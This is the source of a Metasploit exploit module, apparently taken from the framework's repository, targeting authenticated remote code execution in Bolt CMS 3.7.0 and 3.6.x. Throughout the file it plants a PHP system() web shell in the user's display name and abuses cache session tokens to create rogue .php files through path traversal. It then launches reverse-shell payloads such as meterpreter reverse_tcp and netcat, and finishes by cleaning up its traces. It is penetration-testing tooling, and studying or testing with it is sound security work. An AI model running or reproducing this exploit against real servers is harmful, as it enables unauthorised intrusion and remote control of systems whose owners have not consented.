Path: blob/master/modules/exploits/unix/webapp/bolt_authenticated_rce.rb
23598 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = GreatRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',18'Description' => %q{19This module exploits multiple vulnerabilities in Bolt CMS version 3.7.020and 3.6.* in order to execute arbitrary commands as the user running Bolt.2122This module first takes advantage of a vulnerability that allows an23authenticated user to change the username in /bolt/profile to a PHP24`system($_GET[""])` variable. Next, the module obtains a list of tokens25from `/async/browse/cache/.sessions` and uses these to create files with26the blacklisted `.php` extention via HTTP POST requests to27`/async/folder/rename`. For each created file, the module checks the HTTP28response for evidence that the file can be used to execute arbitrary29commands via the created PHP $_GET variable. If the response is negative,30the file is deleted, otherwise the payload is executed via an HTTP31get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`3233Valid credentials for a Bolt CMS user are required. This module has been34successfully tested against Bolt CMS 3.7.0 running on CentOS 7.35},36'License' => MSF_LICENSE,37'Author' => [38'Sivanesh Ashok', # Discovery39'r3m0t3nu11', # PoC40'Erik Wynter' # @wyntererik - Metasploit41],42'References' => [43['CVE', '2025-34086'],44['EDB', '48296'],45['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok46],47'Platform' => ['linux', 'unix'],48'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],49'Targets' => [50[51'Linux (x86)', {52'Arch' => ARCH_X86,53'Platform' => 'linux',54'DefaultOptions' => {55'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'56}57}58],59[60'Linux (x64)', {61'Arch' => ARCH_X64,62'Platform' => 'linux',63'DefaultOptions' => {64'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'65}66}67],68[69'Linux (cmd)', {70'Arch' => ARCH_CMD,71'Platform' => 'unix',72'DefaultOptions' => {73'PAYLOAD' => 'cmd/unix/reverse_netcat'74}75}76]77],78'Privileged' => false,79'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time80'DefaultOptions' => {81'RPORT' => 8000,82'WfsDelay' => 583},84'DefaultTarget' => 2,85'Notes' => {86'NOCVE' => ['0day'],87'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service88'Reliability' => [REPEATABLE_SESSION],89'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]90}91)92)9394register_options [95OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),96OptString.new('USERNAME', [true, 'Username to authenticate with', false]),97OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),98OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])99]100end101102def check103# obtain token and cookie required for login104res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')105106return CheckCode::Unknown('Connection failed') unless res107108unless res.code == 200 && res.body.include?('Sign in to Bolt')109return CheckCode::Safe('Target is not a Bolt CMS application.')110end111112html = res.get_html_document113token = html.at('input[@id="user_login__token"]')['value']114cookie = res.get_cookies115116# perform login117res = send_request_cgi({118'method' => 'POST',119'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),120'cookie' => cookie,121'vars_post' => {122'user_login[username]' => datastore['USERNAME'],123'user_login[password]' => datastore['PASSWORD'],124'user_login[login]' => '',125'user_login[_token]' => token126}127})128129return CheckCode::Unknown('Connection failed') unless res130131unless res.code == 302 && res.body.include?('Redirecting to /bolt')132return CheckCode::Unknown('Failed to authenticate to the server.')133end134135@cookie = res.get_cookies136return unless @cookie137138# visit profile page to obtain user_profile token and user email139res = send_request_cgi({140'method' => 'GET',141'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),142'cookie' => @cookie143})144145return CheckCode::Unknown('Connection failed') unless res146147unless res.code == 200 && res.body.include?('<title>Profile')148return CheckCode::Unknown('Failed to authenticate to the server.')149end150151html = res.get_html_document152153@email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile154unless @email # create fake email if this value is not found155@email = Rex::Text.rand_text_alpha_lower(5..8)156@email << "@#{@email}."157@email << Rex::Text.rand_text_alpha_lower(2..3)158print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")159end160161@profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)162163if !@profile_token || @profile_token.to_s.empty?164return CheckCode::Unknown('Authentication failure.')165end166167# change user profile to a php $_GET variable168@php_var_name = Rex::Text.rand_text_alpha_lower(4..6)169res = send_request_cgi({170'method' => 'POST',171'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),172'cookie' => @cookie,173'vars_post' => {174'user_profile[password][first]' => datastore['PASSWORD'],175'user_profile[password][second]' => datastore['PASSWORD'],176'user_profile[email]' => @email,177'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",178'user_profile[save]' => '',179'user_profile[_token]' => @profile_token180}181})182183return CheckCode::Unknown('Connection failed') unless res184185# visit profile page again to verify the changes186res = send_request_cgi({187'method' => 'GET',188'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),189'cookie' => @cookie190})191192return CheckCode::Unknown('Connection failed') unless res193194unless res.code == 200 && res.body.include?("php system($_GET['#{@php_var_name}'")195return CheckCode::Unknown('Authentication failure.')196end197198CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")199end200201def exploit202csrf203unless @csrf_token && !@csrf_token.empty?204fail_with Failure::NoAccess, 'Failed to obtain CSRF token'205end206vprint_status("Found CSRF token: #{@csrf_token}")207208file_tokens = obtain_cache_tokens209unless file_tokens && !file_tokens.empty?210fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'211end212print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")213214token_results = try_tokens(file_tokens)215unless token_results && !token_results.empty?216fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'217end218219valid_token = token_results[0]220@rogue_file = token_results[1]221222print_good("Used token #{valid_token} to create #{@rogue_file}.")223if target.arch.first == ARCH_CMD224execute_command(payload.encoded)225else226execute_cmdstager227end228end229230def csrf231# visit /bolt/overview/showcases to get csrf token232res = send_request_cgi({233'method' => 'GET',234'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),235'cookie' => @cookie236})237238fail_with Failure::Unreachable, 'Connection failed' unless res239240unless res.code == 200 && res.body.include?('Showcases')241fail_with Failure::NoAccess, 'Failed to obtain CSRF token'242end243244html = res.get_html_document245@csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']246end247248def obtain_cache_tokens249# obtain tokens for creating rogue .php files from cache250res = send_request_cgi({251'method' => 'GET',252'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),253'cookie' => @cookie254})255256fail_with Failure::Unreachable, 'Connection failed' unless res257258unless res.code == 200 && res.body.include?('entry disabled')259fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'260end261262html = res.get_html_document263entries = html.search('tr')264tokens = []265entries.each do |e|266token = e.at('span[@class="entry disabled"]').text.strip267size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]268tokens.append(token) if size.to_i >= 2000269end270271tokens272end273274def try_tokens(file_tokens)275# create .php files and check if any of them can be used for RCE via the username $_GET variable276file_tokens.each do |token|277file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present278file_name = Rex::Text.rand_text_alpha_lower(8..12)279file_name << '.php'280281# use token to create rogue .php file by 'renaming' a file from cache282res = send_request_cgi({283'method' => 'POST',284'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),285'cookie' => @cookie,286'vars_post' => {287'namespace' => 'root',288'parent' => '/app/cache/.sessions',289'oldname' => token,290'newname' => "#{file_path}/#{file_name}",291'token' => @csrf_token292}293})294295fail_with Failure::Unreachable, 'Connection failed' unless res296297next unless res.code == 200 && res.body.include?(file_name)298299# check if .php file contains an empty `displayname` value. If so, cmd execution should work.300res = send_request_cgi({301'method' => 'GET',302'uri' => normalize_uri(target_uri.path, 'files', file_name),303'cookie' => @cookie304})305306fail_with Failure::Unreachable, 'Connection failed' unless res307308# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number309unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)310delete_file(file_name)311next312end313314return token, file_name315end316317nil318end319320def execute_command(cmd, _opts = {})321if target.arch.first == ARCH_CMD322print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")323end324325res = send_request_cgi({326'method' => 'GET',327'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),328'cookie' => @cookie,329'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout330}, 3.5)331332# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number333unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)334print_warning('No response, may have executed a blocking payload!')335return336end337338print_good('Payload executed!')339end340341def cleanup342super343344# delete rogue .php file used for execution (if present)345delete_file(@rogue_file) if @rogue_file346347return unless @profile_token348349# change user profile back to original350res = send_request_cgi({351'method' => 'POST',352'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),353'cookie' => @cookie,354'vars_post' => {355'user_profile[password][first]' => datastore['PASSWORD'],356'user_profile[password][second]' => datastore['PASSWORD'],357'user_profile[email]' => @email,358'user_profile[displayname]' => datastore['USERNAME'].to_s,359'user_profile[save]' => '',360'user_profile[_token]' => @profile_token361}362})363364unless res365print_warning('Failed to revert user profile back to original state.')366return367end368369# visit profile page again to verify the changes370res = send_request_cgi({371'method' => 'GET',372'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),373'cookie' => @cookie374})375376unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)377print_warning('Failed to revert user profile back to original state.')378end379380print_good('Reverted user profile back to original state.')381end382383def delete_file(file_name)384res = send_request_cgi({385'method' => 'POST',386'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),387'cookie' => @cookie,388'vars_post' => {389'namespace' => 'files',390'filename' => file_name,391'token' => @csrf_token392}393})394395unless res && res.code == 200 && res.body.include?(file_name)396print_warning("Failed to delete file #{file_name}. Manual cleanup required.")397end398399print_good("Deleted file #{file_name}.")400end401402end403404405